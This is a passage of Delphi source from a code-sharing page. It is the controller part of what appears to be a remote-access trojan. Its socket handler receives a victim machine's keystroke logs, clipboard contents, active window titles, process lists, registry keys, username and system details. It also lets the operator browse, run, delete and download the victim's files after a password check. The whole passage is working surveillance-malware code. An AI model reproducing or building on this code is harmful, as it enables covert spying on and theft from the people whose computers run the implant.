📄 unit1.pas
字号:
SetLength(strTmp,Length(strTmp)-1);
form1.sb.Panels.Items[0].Text :=strtmp;
end;
procedure cle();
begin//清空各种窗口中的信息
form1.ME1.Text :='0';
form1.ME2.Text :='0';
form1.JCBOX.Clear ;
form1.CKED1.Text :='';
form1.CKED2.Text :='';
form1.clipm.Clear ;
form1.FCB.Clear ;
form1.FTV.Items.Clear ;
form1.FLV1.Clear ;
form1.syed1.Clear ;
form1.DOSCB2.Clear ;
form1.pased.Clear ;
form1.REGLV.Clear ;
form1.REGTV.Items.Clear ;
form1.REGTV.Items.AddChild(form1.regtv.Selected,'我的电脑');
form1.REGTV.Items[0].Selected :=true;
form1.regtv.Items.AddChild(form1.regtv.Selected,'HKEY_CURRENT_USER');
form1.regtv.Items.AddChild(form1.regtv.Selected,'HKEY_LOCAL_MACHINE');
form1.regtv.Items.AddChild(form1.regtv.Selected,'HKEY_USERS');
end;
procedure TForm1.ssClientError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
ErrorCode:=0;
end;
procedure TForm1.ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
var S,stt,dd,ipn,cos,str,LB:string;
Lem: TListItem;
Mbf: array[0..10000] of byte; {设置接收缓冲区}
lh,Mrl: integer;
MyBmp: TBitmap;
MyJpg: TJpegimage;
myNode,TD, TN:TTreeNode;
nus:integer;
buf:Pointer;
fist:pchar;
begin//收消息
lh:=Socket.ReceiveLength;
GetMem(buf,lh);
Socket.ReceiveBuf(buf^,lh);
stt:=StrPas(PChar(buf));
stt:=Copy(stt,1,lh);
if (kks=1) and (stt<>'184') then
begin
DOWF.WriteBuffer(buf^,lh);
ss.Socket.Connections[fullip].SendText('183');
FreeMem(buf,lh);
exit;
end;
if stt='' then exit;
dd:=copy(stt,1,3);
cos:=copy(stt,4,length(stt)-3);
case strtoint(dd) of
000: begin//收到IP
for i:=1 to IPVI.Items.Count do
if cos=IPVI.Items[i-1].Caption then exit;
Lem:= ipvi.Items.Add;
Lem.Caption :=cos;
ipvi.Items[ipvi.Items.Count-1].SubItems.Add('就绪');
if ipns.Text =cos then
begin
sb.Panels.Items[1].Text :=inttostr(ipvi.Items.Count-1);
fullip:=strtoint(sb.Panels.Items[1].Text);
ipvi.Items[ipvi.Items.Count-1].SubItems.Text :='★';
mainpc.Enabled :=true;
end;
end;
001: application.MessageBox('该操作已经执行完毕!','提示');
007: begin
if cos='OK' then
begin
cle();
IPNS.Text := IPVI.Selected.Caption ;
sb.Panels.Items[1].Text :=inttostr(ipvi.Selected.Index);
fullip:=strtoint(sb.Panels.Items[1].Text);
for i:= 1 to ipvi.Items.Count do
ipvi.Items[i-1].SubItems.Text :='就绪';
ipvi.Items[ipvi.Selected.Index].SubItems.Text :='★';
pased.Clear ;
FCB.Clear;
mainpc.Enabled :=true;
ss.Socket.Connections[fullip].SendText('110')
end
else
begin
application.MessageBox('你的密码错误!','注意');
pased.Clear ;
mainpc.Enabled :=false;
end;
end;
110: begin//得文件
fcb.Clear ;
ftv.Items.Clear ;
flv1.Clear ;
i:=pos('>>>',cos);
str:=copy(cos,1,i-1);
cos:=copy(cos,i+3,length(cos));
i:=1;
while i<length(str) do
begin
fcb.Items.Add(copy(str,i,2));
i:=i+2;
end;
fcb.Text:=copy(cos,1,2);
cos:=copy(cos,6,length(cos)-5);
i:=pos('>>>',cos);
dd:=copy(cos,1,i-1);//目录列表
ipn:=copy(cos,i+3,length(cos)-i-3)+'/';//文件表列表
FTV.Items.AddChildFirst (TN,fcb.Text);
FTV.Items[0].Selected :=TRUE;
TN:=FTV.Selected;
TN.DeleteChildren;
while dd<>'' do
begin
i:=pos('/',dd);
str:=copy(dd,1,i-1);
dd:=copy(dd,i+1,length(dd)-i);
TD:=FTV.Items.AddChild (TN,str);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
end;
FTV.Selected.Expand(True);
while ipn<>'' do
begin
i:=pos('/',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
Lem:=FLV1.Items.Add;
Lem.Caption:=str;
LB:=UPPERCASE(copy(str,length(str)-2,3));
Lem.SubItems.Add(LB);
if (LB='EXE') or (LB='COM') then Lem.StateIndex:=0;
if (LB='RAR') or (LB='ZIP') then Lem.StateIndex:=1;
if LB='TXT' then Lem.StateIndex:=2;
if LB='WPS' then Lem.StateIndex:=3;
If LB='DOC' then Lem.StateIndex:=4;
if LB='AVI' then Lem.StateIndex:=5;
if LB='RMA' then Lem.StateIndex:=6;
if (LB='DAT') OR (LB='MPE') then Lem.StateIndex:=7;
if LB='MP3' then Lem.StateIndex:=8;
if LB='WAV' then Lem.StateIndex:=9;
if LB='SWF' then Lem.StateIndex:=10;
if (LB='GIF') OR (LB='BMP') OR (LB='JPG') then Lem.StateIndex:=11;
if LB='HTM' then Lem.StateIndex:=12;
if LB='GHO' then Lem.StateIndex:=13;
if LB='INI' then Lem.StateIndex:=14;
end;
sb.Panels.Items[0].Text :=FCB.Text+'\';
dirsum.Text :=inttostr(FTV.Items.Count);
filesum.Text :=inttostr(FLV1.Items.Count);
end;
130: BEGIN//改变磁盘时
ftv.Items.Clear ;
flv1.Clear ;
cos:=copy(cos,6,length(cos)-5);
i:=pos('>>>',cos);
dd:=copy(cos,1,i-1);//目录列表
ipn:=copy(cos,i+3,length(cos)-i-3)+'/';//文件表列表
FTV.Items.AddChildFirst (TN,fcb.Text);
FTV.Items[0].Selected :=TRUE;
TN:=FTV.Selected;
TN.DeleteChildren;
while dd<>'' do
begin
i:=pos('/',dd);
str:=copy(dd,1,i-1);
dd:=copy(dd,i+1,length(dd)-i);
TD:=FTV.Items.AddChild (TN,str);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
end;
FTV.Selected.Expand(True);
while ipn<>'' do
begin
i:=pos('/',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
Lem:=FLV1.Items.Add;
Lem.Caption:=str;
LB:=UPPERCASE(copy(str,length(str)-2,3));
Lem.SubItems.Add(LB);
if (LB='EXE') or (LB='COM') then Lem.StateIndex:=0;
if (LB='RAR') or (LB='ZIP') then Lem.StateIndex:=1;
if LB='TXT' then Lem.StateIndex:=2;
if LB='WPS' then Lem.StateIndex:=3;
If LB='DOC' then Lem.StateIndex:=4;
if LB='AVI' then Lem.StateIndex:=5;
if LB='RMA' then Lem.StateIndex:=6;
if (LB='DAT') OR (LB='MPE') then Lem.StateIndex:=7;
if LB='MP3' then Lem.StateIndex:=8;
if LB='WAV' then Lem.StateIndex:=9;
if LB='SWF' then Lem.StateIndex:=10;
if (LB='GIF') OR (LB='BMP') OR (LB='JPG') then Lem.StateIndex:=11;
if LB='HTM' then Lem.StateIndex:=12;
if LB='GHO' then Lem.StateIndex:=13;
if LB='INI' then Lem.StateIndex:=14;
end;
dirsum.Text :=inttostr(FTV.Items.Count);
filesum.Text :=inttostr(FLV1.Items.Count);
END;
131: BEGIN//改变目录时
flv1.Clear ;
i:=pos('>>>',cos);
dd:=copy(cos,1,i-1);//目录列表
ipn:=copy(cos,i+3,length(cos)-i);
TN:=FTV.Selected;
TN.DeleteChildren;
while dd<>'' do
begin
i:=pos('/',dd);
str:=copy(dd,1,i-1);
dd:=copy(dd,i+1,length(dd)-i);
TD:=FTV.Items.AddChild (TN,str);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
end;
FTV.Selected.Expand(True);
while ipn<>'' do
begin
i:=pos('/',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
Lem:=FLV1.Items.Add;
Lem.Caption:=str;
LB:=UPPERCASE(copy(str,length(str)-2,3));
Lem.SubItems.Add(LB);
if (LB='EXE') or (LB='COM') then Lem.StateIndex:=0;
if (LB='RAR') or (LB='ZIP') then Lem.StateIndex:=1;
if LB='TXT' then Lem.StateIndex:=2;
if LB='WPS' then Lem.StateIndex:=3;
If LB='DOC' then Lem.StateIndex:=4;
if LB='AVI' then Lem.StateIndex:=5;
if LB='RMA' then Lem.StateIndex:=6;
if (LB='DAT') OR (LB='MPE') then Lem.StateIndex:=7;
if LB='MP3' then Lem.StateIndex:=8;
if LB='WAV' then Lem.StateIndex:=9;
if LB='SWF' then Lem.StateIndex:=10;
if (LB='GIF') OR (LB='BMP') OR (LB='JPG') then Lem.StateIndex:=11;
if LB='HTM' then Lem.StateIndex:=12;
if LB='GHO' then Lem.StateIndex:=13;
if LB='INI' then Lem.StateIndex:=14;
end;
dirsum.Text :=inttostr(FTV.Selected.Count );
filesum.Text :=inttostr(FLV1.Items.Count);
END;
150: begin//文件夹更名
if cos='no' then
application.MessageBox('该文件夹已经存在!请重新建立文件夹!','注意')
else
begin
TN:=FTV.Selected;
TD:=FTV.Items.AddChild (TN,dirname);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
FTV.Selected.Item[FTV.Selected.Count-1].Selected :=true;
FTV.Selected.Expand(True);
application.MessageBox('创建文件夹成功!','提示');
end;
end;
152: begin//文件夹删除
if cos='1' then
begin
FTV.Selected.Delete ;
FLV1.Clear ;
FTV.Selected.Expand(True);
application.MessageBox('文件夹删除成功!','提示');
end
else
application.MessageBox('该文件夹中有些文件不能被删除!','注意');
end;
156: begin//文件更名
if cos='OK' then
begin
FLV1.Selected.Caption :=filname;
application.MessageBox('文件更名成功!','提示');
end;
end;
157: begin//文件删除
if cos='1' then
begin
FLV1.Selected.Delete ;
filesum.Text :=inttostr(FLV1.Items.Count);
application.MessageBox('该文件已删除!','提示');
end
else
application.MessageBox('该文件不能被删除!','注意');
end;
170: begin//文件查找
if cos='*' then
application.MessageBox('文件没有找到!','提示')
else
application.MessageBox(pchar(cos),'文件已找到');
end;
171: begin//查找并运行
if cos='*' then
application.MessageBox('文件没有找到!','提示')
else
application.MessageBox(pchar(cos+'文件已经运行!'),'提示');
end;
172: begin//查找并删除
if cos='*' then
application.MessageBox('文件没有找到!','提示')
else
if cos='0' then
application.MessageBox('文件已经找到,但不能被删除!','注意')
else
application.MessageBox('文件已经找到且已能被删除!','提示');
end;
180: begin
if cos='0' then
application.MessageBox('文件>8M,不能下载!','注意')
else
begin
savfi.Title:='请选择或输入接收到的数据保存到的文件名:';
savfi.FileName :=FLV1.Selected.Caption ;
if savfi.Execute then
begin
DOWF:=TFileStream.Create(savfi.FileName,fmCreate);
ss.Socket.Connections[fullip].SendText('181');
end;
end;
end;
182:begin
kks:=1;
ss.Socket.Connections[fullip].SendText('183');
end;
184:begin
application.MessageBox('文件接收完毕!','提示');
DOWF.Free;
kks:=0;
end;
185:begin//文件查找并下载
if cos='*' then
application.MessageBox('文件没有找到!','提示')
else
begin
savfi.Title:='请选择或输入接收到的数据保存到的文件名:';
savfi.FileName :=cos;
if savfi.Execute then
begin
DOWF:=TFileStream.Create(savfi.FileName,fmCreate);
ss.Socket.Connections[fullip].SendText('181');
end;
end;
end;
198:begin//查看文件属性
i:=pos('>',cos);
s:=copy(cos,1,i-1);
cos:=copy(cos,i+1,length(cos));
i:=pos('>',cos);
dd:=copy(cos,1,i-1);
cos:=copy(cos,i+1,length(cos));
i:=pos('>',cos);
str:=copy(cos,1,i-1);
cos:=copy(cos,i+1,length(cos));
fist:=pchar('文件名:'+sb.Panels.Items[0].Text+FLV1.Selected.Caption+chr(13)+chr(13)+
'文件大小:'+s+'kb'+chr(13)+'创建时间:'+dd+chr(13)+'修改时间:'+str+chr(13)+'访问时间:'+cos);
application.MessageBox(fist,'文件属性') ;
end;
202: keyre.Text :=keyre.Text+chr(13)+chr(10)+formatdatetime('',Now)+' '+chr(13)+chr(10)+ cos+chr(13)+chr(10);
//得到键盘记录
260: syed1.Text :=cos;//得到用户名
261: syed2.Text :=cos;//得到操作系统
262: syed3.Text :=cos;//得到内存大小
263: syed4.Text :=cos;//得到组织名
301: begin//得到注册表项
i:=pos('>>>',cos);
ipn:=copy(cos,2,i-2);
TN:=REGTV.Selected;
TN.DeleteChildren;
while pos('\',ipn)<>0 do
begin
i:=pos('\',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
TD:=REGTV.Items.AddChild(TN,str);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
Mrl:=Mrl+1;
end;
if ipn<>'' then
begin
TD:=REGTV.Items.AddChild(TN,ipn);
TD.ImageIndex:=2;
TD.SelectedIndex:=3;
Mrl:=Mrl+1;
end;
sb.Panels.Items[3].Text :=inttostr(Mrl);
REGTV.Selected.Expand(True);
i:=pos('>>>',cos);
ipn:=copy(cos,i+3,length(cos)-i);
REGLV.Clear ;
while pos('*',ipn)<>0 do
begin
i:=pos('*',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
Lem:=REGLV.Items.Add;
Lem.Caption:=str;
i:=pos('*',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
if str='REG_SZ' then
Lem.StateIndex:=4
else
Lem.StateIndex:=5;
Lem.SubItems.Add(str);
i:=pos('*',ipn);
str:=copy(ipn,1,i-1);
ipn:=copy(ipn,i+1,length(ipn)-i);
Lem.SubItems.Add(str);
end;
end;
385: IEE1.Text := cos;
387: IEE2.Text := cos;
401: begin//得到进程
jcbox.Items.Text:=cos; //得取对方进程
jcl2.Caption :=inttostr(jcbox.Items.Count);
end;
501: cked1.Text :=cos;//得到对方当前活动窗体名
506: clipm.Text :=cos;//得到剪贴板的内容
701: begin //显示图片
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -